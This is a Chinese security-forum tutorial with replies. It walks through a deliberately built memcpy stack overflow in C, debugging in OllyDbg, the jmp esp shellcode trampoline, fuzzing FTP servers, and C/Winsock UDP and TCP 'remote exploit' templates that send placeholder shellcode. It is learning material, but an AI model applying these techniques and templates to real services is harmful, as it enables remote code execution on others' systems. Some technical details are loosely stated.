吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 43189|回复: 101
收起左侧

[漏洞分析] 挖掘0day初步基础学习

  [复制链接]
MAXtoDEATH 发表于 2016-7-28 16:36
本帖最后由 MAXtoDEATH 于 2016-9-22 16:26 编辑

你还在大牛的博客里翻他们的漏洞利用脚本吗?你还在github上拼命找漏洞利用脚本吗。。。
相信现在也有很多人像我一样再尝试漏洞挖掘这一块,但网上的教材可能都说的太略。。。我就来完整的来一次流程。。。

首先我们先来试一下本地溢出的漏洞。。。当然,我们得自己构造一个来尝试,memcpy函数就是个很好的例子。。。
编译语言 c
编译器vc++
[C] 纯文本查看 复制代码
#include"stdio.h"
#include"string.h"
main()
{
int i;
char a[4]="s",b[20]="ssssssssssssssssss";
i=sizeof(b);
memcpy(a,b,i);
printf("a=%s\nb=%s",a,b);
return 0;
}

代码部分不多做介绍,至于为什么用vc++?因为其他编译器大多都会做溢出保护,当然,这些都可以通过技术手段绕过。。。
学过c的同学一眼肯定就能看出,在调用memcpy中发生了溢出,a只有五个字节的空间,但要把b全复制进去,多余的16个空间就发生了溢出,现在开始手动调试
od载入。004014E0 >/$  55            push ebp

ctrl g搜索一下函数“memcpy”
来到这里00401160 > $  55            push ebp
f2下一个断点,然后f9让程序跑起来。跑到我们的断点处停下,然后ctrl f9将这个函数跑完,中途可能要跑完好几个函数。。。中途可以顺便看一下ecx:0018FF2C   这个地址内的数据是一堆s,继续跑,来到这里0040108B  |.  83C4 0C       add esp,0xC
可以看到上一行就是00401086  |.  E8 D5000000   call memcpy                              ; \memcpy
此时f8忽略call单步下去,直到运行到retn,此时cpu会取出esp所存储的内存数据,传给eip,作为一条指令所在的内存地址,此时看一下寄存器ESP:0018FF4C
再查一下堆栈窗口,看下这个0018FF4C地址存储什么数据?0018FF4C  : 73737373
73?大家可能已经明白了,73就是我们用的小写s的16进制形式,我们的溢出数据用的就是s。
我们再压一下f9,程序运行出错,可以在异常信息中看到,偏移为73737373


很明显,多余的s覆盖了memcpy的返回地址,而73737373并不存在,程序就boom了
但是如果我们不用s,通过偏移计算后。而把多余的数据换成我们精心设计的shellcode呢?一次溢出攻击就发动了。
至于shellcode怎么写?
首先我们需要算出溢出是第几个数据处发生的,这个用堆栈窗口稍微一算就ok,我无需多说了、、、
也可以在vc++中完成,以asm内联汇编的形式写一段你需要的攻击代码,然后转成16进制码即可,如果我们,把shellcode代替那多余的16的s来使用,咳咳、、、
但是我们需要多说几句话,首先,在合法的数据后面可是不能直接写攻击代码的~我们要绕一下。在asm中攻击代码的前面,我们要多加一条jmp esp或者是call esp。这是为何呢?
程序每运行一次,堆栈的内存地址都会发生变化,shellcode则分布的杂乱无章,怎么破呢?用esp,esp永远代表堆栈地址所在位置,于是,我们先用调到esp的指令来覆盖,就能达到我们的目的,至于jmp esp的所在内存的地址是什么?各个系统都不一样,我们需要用到一个findjmp的工具来查询,而查到后注意,不能直接写上,首先也要分成4对来储存,例如“x47“然后我们需要把顺序全变过来,如果原来是x12 x45 x09,现在就要是x09 x45 x12,这是因为windows系统的底层设计问题,,,我们不多说。此时第一行shellcode是jmp esp,但注意!还没有完成,程序在溢出后,会崩溃,而崩溃中,就会发生偏移,此时我们可以通过od把偏移量算出来,在jmp esp与攻击代码直接加上偏移量大小的无用数据,当然,懒的话还有个办法,直接加上10个无用字母,基本上偏移量也不会更大了。。。
此时我们把精心设计好的shellcode换掉多余的一堆s,就能达到你攻击代码想实现的目的。




当然这只是本地溢出?至于远程溢出,远程服务可能是以加密的数据来传输的,也可能是明文传输的,相对而言,远程服务为了效率,明文传输更多,,而且这跟是否是明文基本没啥关系。我们可以拿小厂商的ftp来练手,此时我们还需要一个工具1ftpfuzzer,fuzz即为暴力,打过信息学联赛的朋友们大概一定会很痛恨一种东西,强数据,明明样例数据能过,确总有好几个测试点过不去,而在acm中,一个点不过就0分,我也是想骂人。。。咳咳,回到fuzz上来,fuzz会暴力模拟上万种奇怪的,强数据来测试,我们可以通过ftpfuzzer来完成,设置好基本参数后,我们只需要喝喝红花茶等等就好了,如果顺利,很快就会fuzz结束,因为有测试数据成功了,我们可以在ftpfuzzer的工作栏中找到发生溢出的数据,然后如上的本地溢出进行测试,流程基本一致,只是在溢出工作上,我们总不能用ftpfuzzer来攻击把?我们此时可以吧设计好的数据存在一个数组中。。。
然后可以用编程语言来实现发送的目的。。。这个时候py最合适了。。。当然我更希望大家使用c。。。
通过winsock的api,我们可以实现发包的目的,来发动远程溢出攻击。。。至于为何没有图??大概是我们机房这边网络不稳定。。。我也快醉了。。。上午还好好的。。。如果需要图的话,我的博客里有简略的文章,里面有图,当然那个写的非常简略。。。当然希望我以后还能继续本篇的内容,写出更好的文章来。
补一下远程EXP模版:
UDP
[C++] 纯文本查看 复制代码
#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#include "string.h"
#pragma comment(lib, "ws2_32.lib") 
int main(int argc, char* argv[])
{
    WORD socketVersion = MAKEWORD(2,2);
    WSADATA wsaData; 
    if(WSAStartup(socketVersion, &wsaData) != 0)
    {
        return 0;
    }
    SOCKET sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    
    sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(8888);
    sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    int len = sizeof(sin);
    
    char *sendData= "SHELLCODE";
    sendto(sclient, sendData, strlen(sendData), 0, (sockaddr *)&sin, len);

    char recvData[255];     
    int ret = recvfrom(sclient, recvData, 255, 0, (sockaddr *)&sin, &len);
    if(ret > 0)
    {
        recvData[ret] = 0x00;
        printf(recvData);
    }
    closesocket(sclient);
    WSACleanup();
    return 0;
}


TCP
[Asm] 纯文本查看 复制代码
#include "stdafx.h"
#include <WINSOCK2.H>
#include "string.h"
#include <STDIO.H>
#pragma  comment(lib,"ws2_32.lib")
int main(int argc, char* argv[])
{
    WORD sockVersion = MAKEWORD(2,2);
    WSADATA data; 
    if(WSAStartup(sockVersion, &data) != 0)//异常
    {
        return 0;
    }
    SOCKET sclient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//套间字 TCP 可改为udp 但要改变三握四挥
    if(sclient == INVALID_SOCKET)
    {
        printf("invalid socket !");
        return 0;
    }
    sockaddr_in serAddr;
    serAddr.sin_family = AF_INET;
    serAddr.sin_port = htons(8888);//端口
    serAddr.sin_addr.S_un.S_addr = inet_addr(* argv); //ip
    if (connect(sclient, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)
    {
        printf("cownnect error !");//连接构造失败,包堵塞通道
        closesocket(sclient);
        return 0;
    }
    char * sendData = "Shellcode";//此段为shellcode 但要注意 ESP偏移 
    send(sclient, sendData, strlen(sendData), 0);
    
    char recData[255]; 
    int ret = recv(sclient, recData, 255, 0);
        if(ret > 0)
    {
        //recData[ret] = 0x00;
        printf("wrong attack !");
    }
        else printf("attack success !");
    
        closesocket(sclient);
    WSACleanup();
    return 0;
}

UDP版没注释,请参考TCP版,希望大家多多支持。。。我还会再更的。。。

博客地址 maxwheat.ml
谢谢大家观看



免费评分

参与人数 18吾爱币 +7 热心值 +18 收起 理由
ducd + 1 + 1 感谢您对吾爱破解论坛的支持!
490694561 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xiziyunqi + 1 + 1 我很赞同!
绿雪羚羊 + 1 + 1 谢谢@Thanks!
xiaozhou2017 + 1 + 1 热心回复!
jackjack999 + 1 + 1 用心讨论,共获提升!
tianexe + 1 + 1 谢谢@Thanks!
Git_man + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
521129 + 1 我很赞同!
GNUBD + 1 谢谢@Thanks!
qaz892636978 + 1 已答复!
菜鸟也想飞 + 1 谢谢@Thanks!
bet + 1 我很赞同!
changjiang + 1 我很赞同!
secflow + 1 用心讨论,共获提升!
Android_army + 1 66666
Lnairan + 1 谢谢@Thanks!
wnagzihxain + 1 用心讨论,共获提升!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| MAXtoDEATH 发表于 2016-8-5 18:31 来自手机
玛朵布莎辞 发表于 2016-8-5 17:48
C语言里面用到的头文件和VC  是相同的,代码格式应该是strcpy(a,b,i),还有既然已经定义了char i[20]={} ...

还有什么叫c语言的头文件和vc  是相同的,你这什么鬼说法,一个是编译器,一个是语言,呵呵什么玩意
 楼主| MAXtoDEATH 发表于 2016-8-5 18:30 来自手机
玛朵布莎辞 发表于 2016-8-5 17:48
C语言里面用到的头文件和VC  是相同的,代码格式应该是strcpy(a,b,i),还有既然已经定义了char i[20]={} ...

很明显的一点是怎么演示明显怎么来,还有你哪只眼看到是strcpy了?
 楼主| MAXtoDEATH 发表于 2016-7-28 17:05
我现在只希望有人告诉我。。。我手机开热点,电脑只能上qq怎么破。。。想上网还得挂个代{过}{滤}理、、、
wnagzihxain 发表于 2016-7-28 17:07
过不了强数据说明有特殊情况没有考虑或者算法自身就有问题,这也能fuzzing出来?
 楼主| MAXtoDEATH 发表于 2016-7-28 17:08

木事木事
 楼主| MAXtoDEATH 发表于 2016-7-28 17:47 来自手机
伊邪那美491 发表于 2016-7-28 17:21
支持楼主

谢谢支持(-ω-`)
 楼主| MAXtoDEATH 发表于 2016-7-28 19:07 来自手机
wnagzihxain 发表于 2016-7-28 17:07
过不了强数据说明有特殊情况没有考虑或者算法自身就有问题,这也能fuzzing出来?

我又没说fuzz题,拜托你仔细认真看
psx1lin 发表于 2016-7-28 19:53
收藏了
有時間研讀
感谢分享
 楼主| MAXtoDEATH 发表于 2016-7-28 20:15
psx1lin 发表于 2016-7-28 19:53
收藏了
有時間研讀
感谢分享

谢谢支持
无为无敌 发表于 2016-7-28 21:55 来自手机
谢谢分享
 楼主| MAXtoDEATH 发表于 2016-7-28 22:19 来自手机
无为无敌 发表于 2016-7-28 21:55
谢谢分享

没事,谢谢阅读
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 09:38

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表